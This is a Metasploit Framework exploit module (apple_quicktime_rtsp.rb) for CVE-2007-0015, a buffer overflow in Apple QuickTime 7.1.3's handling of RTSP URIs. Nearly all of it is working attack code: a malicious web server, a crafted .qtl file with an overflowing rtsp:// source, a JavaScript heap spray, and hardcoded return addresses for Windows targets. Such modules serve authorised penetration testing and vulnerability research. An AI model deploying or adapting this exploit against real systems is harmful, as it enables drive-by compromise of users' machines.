Apple QuickTime 7.1.3 RTSP URI Buffer Overflow



##

# $Id: apple_quicktime_rtsp.rb 9220 2010-05-04 23:09:32Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML

    include Msf::Exploit::Remote::BrowserAutopwn
    autopwn_info({
        :os_name    => OperatingSystems::WINDOWS,
        :javascript => true,
        :rank       => NormalRanking, # reliable memory corruption
        :vuln_test  => nil,
    })

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Apple QuickTime 7.1.3 RTSP URI Buffer Overflow',
            'Description'    => %q{
                    This module exploits a buffer overflow in Apple QuickTime
                7.1.3. This module was inspired by MOAB-01-01-2007.  The
                Browser target for this module was tested against IE 6 and
                Firefox 1.5.0.3 on Windows XP SP0/2; Firefox 3 blacklists the
                QuickTime plugin.
            },
            'Author'         => [ 'MC', 'egypt' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 9220 $',
            'References'     =>
                [
                    [ 'CVE', '2007-0015' ],
                    [ 'OSVDB', '31023'],
                    [ 'BID', '21829' ],
                    [ 'URL', 'http://projects.info-pull.com/moab/MOAB-01-01-2007.html' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'    => 500,
                    'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c",
                },
            'Platform' => 'win',
            'Targets'  =>
                [
                    [ 'Automatic', { } ],
                    [ 'Apple QuickTime Player 7.1.3',
                        {
                            'Ret' => 0x6855d8a2  # xpsp2/2k3 :( | vista ;)
                        }
                    ],
                    [ 'Browser Universal',
                        {
                            'Ret' => 0x0c0c0c0c # tested on xpsp0 and sp2
                        }
                    ],
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Jan 1 2007',
            'DefaultTarget'  => 0))
    end

    def on_request_uri(client, request)

        return if ((p = regenerate_payload(client)) == nil)

        if (target.name =~ /Automatic/)
            if (request['User-Agent'] =~ /QuickTime/i)
                target = targets[1]
            else
                target = targets[2]
            end
        end

        cruft  =  rand_text_alphanumeric(4)
        # This is all basically filler on the browser target because we can't
        # expect the SEH to be in a reliable place across multiple browsers.
        # Heap spray ftw.
        sploit =  rand_text_english(307)
        sploit << p.encoded + "\xeb\x06" + rand_text_english(2)
        sploit << [target.ret].pack('V') + [0xe8, -485].pack('CV')

        if (request['User-Agent'] =~ /QuickTime/i or request.uri =~ /\.qtl$/)
            print_status("Sending #{self.name} exploit to #{client.peerhost}:#{client.peerport}...")
            print_status("Trying target #{target.name}...")
            content = build_qtl(sploit)
        else
            print_status("Sending #{self.name} init HTML to #{client.peerhost}:#{client.peerport}...")

            shellcode = Rex::Text.to_unescape(p.encoded)
            url =  ((datastore['SSL']) ? "https://" : "http://")
            url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(client.peerhost) : datastore['SRVHOST'])
            url << ":" + datastore['SRVPORT']
            url << get_resource
            js = <<-ENDJS
                    #{js_heap_spray}
                    sprayHeap(unescape("#{shellcode}"), 0x#{target.ret.to_s 16}, 0x4000);
                ENDJS
            content =  "<html><body><script><!--\n#{js}//--></script>"
            content << <<-ENDEMBED
                    <OBJECT
                    CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B"
                    WIDTH="1"
                    HEIGHT="1"
                    CODEBASE="http://www.apple.com/qtactivex/qtplugin.cab">
                    <PARAM name="SRC"        VALUE = "#{url}/#{cruft}.qtl">
                    <PARAM name="QTSRC"      VALUE = "#{url}/#{cruft}.qtl">
                    <PARAM name="AUTOPLAY"   VALUE = "true"               >
                    <PARAM name="TYPE"       VALUE = "video/quicktime"    >
                    <PARAM name="TARGET"     VALUE = "myself"             >
                    <EMBED
                        SRC        = "#{url}/#{cruft}.qtl"
                        QTSRC      = "#{url}/#{cruft}.qtl"
                        TARGET     = "myself"
                        WIDTH      = "1"
                        HEIGHT     = "1"
                        AUTOPLAY   = "true"
                        PLUGIN     = "quicktimeplugin"
                        TYPE       = "video/quicktime"
                        CACHE      = "false"
                        PLUGINSPAGE= "http://www.apple.com/quicktime/download/" >
                    </EMBED>
                    </OBJECT>
                ENDEMBED
            content << "</body></html>"
        end

        send_response(client, content, { 'Content-Type' => "text/html" })

        # Handle the payload
        handler(client)
    end

    def build_qtl(overflow)
        cruft  =  rand_text_english(4)

        content =  "<?xml version=\"1.0\"?>\n"
        
content << "<?quicktime type=\"application/x-quicktime-media-link\"?>\n"
        
content << "<embed autoplay=\"true\" \n"
        
content << "moviename=\"#{cruft}\" \n"
        
content << "qtnext=\"#{cruft}\" \n"
        
content << "type=\"video/quicktime\" \n"
        
content << "src=\"rtsp://#{cruft}:#{overflow}\" />\n"

    
end
end